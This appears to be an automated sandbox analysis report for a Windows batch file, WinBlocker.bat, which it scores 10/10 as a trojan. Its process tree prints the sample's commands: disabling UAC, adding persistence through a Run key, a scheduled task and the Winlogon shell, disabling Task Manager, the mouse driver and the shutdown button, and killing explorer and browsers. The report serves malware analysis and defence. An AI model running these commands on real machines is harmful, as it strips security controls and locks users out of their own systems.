Overview

overview

10

Static

static

1

WinBlocker.bat

windows7-x64

10

WinBlocker.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/08/2024, 02:38

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    WinBlocker.bat

  • Size

    2KB

  • MD5

    1b5a43b427cbec4b2d98381bd745f252

  • SHA1

    e35fa4eb5b4d03de11e34b648ccd0eb3bf64aca9

  • SHA256

    16a9fd99658aec5a790b84002e2bd1388d82f0b0ac8d951fc65195ca4f3305af

  • SHA512

    3689f9000a0ce44ba4a1503f59e3b94706ff9f73cc6baeb0f1105971c1c3fdc39373d091c8187ad681af8e4954bd0bca602ced76f080faa1c2f4082219c085a5

Score
10/10
evasionpersistencetrojan

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Disables Task Manager via registry modification
    evasion
  • Drops file in Drivers directory 64 IoCs
  • Manipulates Digital Signatures 4 IoCs

    Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.

  • Boot or Logon Autostart Execution: Print Processors 1 TTPs 1 IoCs

    Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.

    persistence
  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Drops desktop.ini file(s) 31 IoCs
  • Drops autorun.inf file 1 TTPs 1 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Drops file in System32 directory 64 IoCs
  • Modifies termsrv.dll 1 TTPs 1 IoCs

    Commonly used to allow simultaneous RDP sessions.

  • Drops file in Windows directory 64 IoCs
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 5 IoCs
    evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WinBlocker.bat"
    1⤵
    • Drops file in Drivers directory
    • Manipulates Digital Signatures
    • Boot or Logon Autostart Execution: Print Processors
    • Drops startup file
    • Drops desktop.ini file(s)
    • Drops autorun.inf file
    • Drops file in System32 directory
    • Modifies termsrv.dll
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:624
    • C:\Windows\system32\chcp.com
      chcp 65001
      2⤵
        PID:3740
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM explorer.exe
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:668
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        PID:1168
      • C:\Windows\system32\cmd.exe
        cmd /c C:\Users\Admin\AppData\Local\Temp\admin.vbs
        2⤵
          PID:4176
        • C:\Windows\system32\reg.exe
          reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinBlocker.bat" /t REG_SZ /d "WinBlocker.bat" /f
          2⤵
          • Adds Run key to start application
          PID:2272
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WinBlocker.bat" /tr "WinBlocker.bat" /sc ONLOGON /rl HIGHEST /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2112
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM explorer.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2936
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM msedge.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3996
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM chrome.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1836
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM browser.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3292
        • C:\Windows\system32\reg.exe
          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\WinBlocker.bat" /f
          2⤵
            PID:4848
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
            2⤵
              PID:2736
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
              2⤵
                PID:4600
              • C:\Windows\system32\reg.exe
                reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableShutdownButton /t REG_DWORD /d 1 /f
                2⤵
                  PID:2764
                • C:\Windows\system32\timeout.exe
                  TIMEOUT /T 900 /NOBREAK
                  2⤵
                  • Delays execution with timeout.exe
                  PID:4764

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Replication Through Removable Media

              1
              T1091

              Execution

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Persistence

              Boot or Logon Autostart Execution

              2
              T1547

              Print Processors

              1
              T1547.012

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Privilege Escalation

              Abuse Elevation Control Mechanism

              1
              T1548

              Bypass User Account Control

              1
              T1548.002

              Boot or Logon Autostart Execution

              2
              T1547

              Print Processors

              1
              T1547.012

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Defense Evasion

              Abuse Elevation Control Mechanism

              1
              T1548

              Bypass User Account Control

              1
              T1548.002

              Impair Defenses

              1
              T1562

              Disable or Modify Tools

              1
              T1562.001

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              Query Registry

              1
              T1012

              Lateral Movement

              Remote Services

              1
              T1021

              Remote Desktop Protocol

              1
              T1021.001

              Replication Through Removable Media

              1
              T1091

              Collection

              Command and Control

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads